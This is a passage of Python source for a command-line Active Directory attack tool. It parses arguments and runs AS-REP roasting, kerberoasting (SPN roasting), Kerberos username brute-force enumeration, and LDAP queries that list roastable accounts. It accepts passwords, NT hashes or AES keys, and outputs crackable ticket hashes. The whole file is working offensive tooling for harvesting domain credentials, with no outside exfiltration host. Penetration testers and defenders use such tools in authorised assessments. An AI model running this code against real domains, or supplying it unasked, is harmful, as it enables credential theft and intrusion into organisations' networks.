    asreproast_group = subparsers.add_parser('asreproast',
                                             help='Perform asrep roasting')
    asreproast_group.add_argument('address', help='Address of the DC')
    asreproast_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    asreproast_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )
    asreproast_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    asreproast_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )

    spnroast_group = subparsers.add_parser(
        'spnroast', help='Perform spn roasting (aka kerberoasting)')
    spnroast_group.add_argument(
        'logincreds',
        help=
        'Either CCACHE file name or Kerberos login data <realm>/<username>:<password or NT hash or AES key>@<ip or hostname> Can be omitted for asrep command.'
    )
    spnroast_group.add_argument(
        '-n',
        '--ntlm',
        action='store_true',
        help='Indicate if password is actually an NT hash')
    spnroast_group.add_argument(
        '-a',
        '--aes',
        action='store_true',
        help='Indicate if password is actually an AES key')
    spnroast_group.add_argument(
        '-c',
        '--ccache',
        action='store_true',
        help='Indicate if target is actually a CCACHE file')
    spnroast_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    spnroast_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    spnroast_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    spnroast_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )

    args = parser.parse_args()

    if args.verbose == 0:
        logging.basicConfig(level=logging.INFO)
        kerblogger.setLevel(logging.WARNING)
        msldaplogger.setLevel(logging.WARNING)

    elif args.verbose == 1:
        logging.basicConfig(level=logging.DEBUG)
        kerblogger.setLevel(logging.INFO)
        msldaplogger.setLevel(logging.INFO)

    else:
        logging.basicConfig(level=1)
        kerblogger.setLevel(logging.DEBUG)
        msldaplogger.setLevel(logging.DEBUG)

    #ksoc = KerberosSocket(args.target)

    if args.command == 'spnroast':
        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')
        targets = []
        if args.targets:
            with open(args.targets, 'r') as f:
                for line in f:
                    line = line.strip()
                    domain = None
                    username = None
                    if line.find('/') != -1:
                        #we take for granted that usernames do not have the char / in them!
                        domain, username = line.split('/')
                    else:
                        username = line

                    if args.realm:
                        domain = args.realm
                    else:
                        if domain is None:
                            raise Exception(
                                'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                            )

                    target = KerberosTarget()
                    target.username = username
                    target.domain = domain
                    targets.append(target)

        if args.user:
            for user in args.user:
                domain = None
                username = None
                if user.find('/') != -1:
                    #we take for granted that usernames do not have the char / in them!
                    domain, username = user.split('/')
                else:
                    username = user

                if args.realm:
                    domain = args.realm
                else:
                    if domain is None:
                        raise Exception(
                            'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                        )
                target = KerberosTarget()
                target.username = username
                target.domain = domain
                targets.append(target)

        if len(targets) == 0:
            raise Exception('No targets loaded!')
        logging.debug('Kerberoast loaded %d targets' % len(targets))

        if args.ccache:
            raise Exception('Not implemented yet!')

        else:
            domain, username, password, target = from_target_string(
                args.logincreds)
            if not password:
                password = getpass.getpass()

            if not domain:
                raise Exception(
                    'Missing domain from kerberos logon credentials')

            if not username:
                raise Exception(
                    'Missing username from kerberos logon credentials')

            if not target:
                raise Exception(
                    'Missing target from kerberos logon credentials')

            cred = KerberosCredential()
            cred.domain = domain
            cred.username = username

            if args.ntlm:
                cred.nt_hash = password

            elif args.aes:
                if len(password) == 32:
                    cred.kerberos_key_aes_128 = password
                elif len(password) == 64:
                    cred.kerberos_key_aes_256 = password
                else:
                    raise Exception(
                        'Kerberos logon credential AES keysize incorrect!')

            else:
                cred.password = password
            ks = KerberosSocket(target)
            ar = Kerberoast(cred, ks)
            hashes = ar.run(targets)

            if args.out_file:
                with open(args.out_file, 'w') as f:
                    for thash in hashes:
                        f.write(thash + '\r\n')

            else:
                for thash in hashes:
                    print(thash)

            logging.info('Kerberoast complete')

    elif args.command == 'asreproast':
        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')
        creds = []
        if args.targets:
            with open(args.targets, 'r') as f:
                for line in f:
                    line = line.strip()
                    domain = None
                    username = None
                    if line.find('/') != -1:
                        #we take for granted that usernames do not have the char / in them!
                        domain, username = line.split('/')
                    else:
                        username = line

                    if args.realm:
                        domain = args.realm
                    else:
                        if domain is None:
                            raise Exception(
                                'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                            )

                    cred = KerberosCredential()
                    cred.username = username
                    cred.domain = domain
                    creds.append(cred)

        if args.user:
            for user in args.user:
                domain = None
                username = None
                if user.find('/') != -1:
                    #we take for granted that usernames do not have the char / in them!
                    domain, username = user.split('/')
                else:
                    username = user

                if args.realm:
                    domain = args.realm
                else:
                    if domain is None:
                        raise Exception(
                            'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                        )
                cred = KerberosCredential()
                cred.username = username
                cred.domain = domain
                creds.append(cred)

        logging.debug('ASREPRoast loaded %d targets' % len(creds))

        ks = KerberosSocket(args.address)
        ar = APREPRoast(ks)
        hashes = ar.run(creds)

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in hashes:
                    f.write(thash + '\r\n')

        else:
            for thash in hashes:
                print(thash)

        logging.info('ASREPRoast complete')

    elif args.command == 'brute':
        users = []
        with open(args.targets, 'r') as f:
            for line in f:
                users.append(line.strip())
        ksoc = KerberosSocket(args.address)
        ke = KerberosUserEnum(ksoc)
        results = ke.run(args.realm, users)
        logging.info('Enumerated %d users!' % len(results))
        if args.out_file:
            with open(args.out_file, 'w') as f:
                for user in results:
                    f.write(user + '\r\n')

        else:
            print('[+]Enumerated users:')
            for user in results:
                print(user)

        logging.info('Kerberos user enumeration complete')

    elif args.command == 'ldap':
        domain, username, password, target = from_target_string(args.user)
        if not password:
            password = getpass.getpass()
        ldap_server = MSLDAPTargetServer(target)
        creds = MSLDAPUserCredential(username=username,
                                     domain=domain,
                                     password=password,
                                     is_ntlm=args.ntlm)
        ldap = MSLDAP(creds, ldap_server)
        ldap.connect()
        adinfo = ldap.get_ad_info()
        domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.')

        spn_users = []
        asrep_users = []
        if args.type in ['spn', 'all']:
            for user in ldap.get_all_service_user_objects():
                spn_users.append('%s/%s' % (domain, user.sAMAccountName))
        if args.type in ['asrep', 'all']:
            for user in ldap.get_all_knoreq_user_objects():
                asrep_users.append('%s/%s' % (domain, user.sAMAccountName))

        if args.out_file:
            basefolder = ntpath.dirname(args.out_file)
            basefile = ntpath.basename(args.out_file)
            if len(spn_users) > 0:
                with open(os.path.join(basefolder,
                                       basefile + '_spn_users.txt'),
                          'w',
                          newline='') as f:
                    for user in spn_users:
                        f.write(user + '\r\n')

            if len(asrep_users) > 0:
                with open(os.path.join(basefolder,
                                       basefile + '_asrep_users.txt'),
                          'w',
                          newline='') as f:
                    for user in asrep_users:
                        f.write(user + '\r\n')
        else:
            print('[+]SPN vuln users:')
            for user in spn_users:
                print(user)
            print('[+]ASREP vuln users:')
            for user in asrep_users:
                print(user)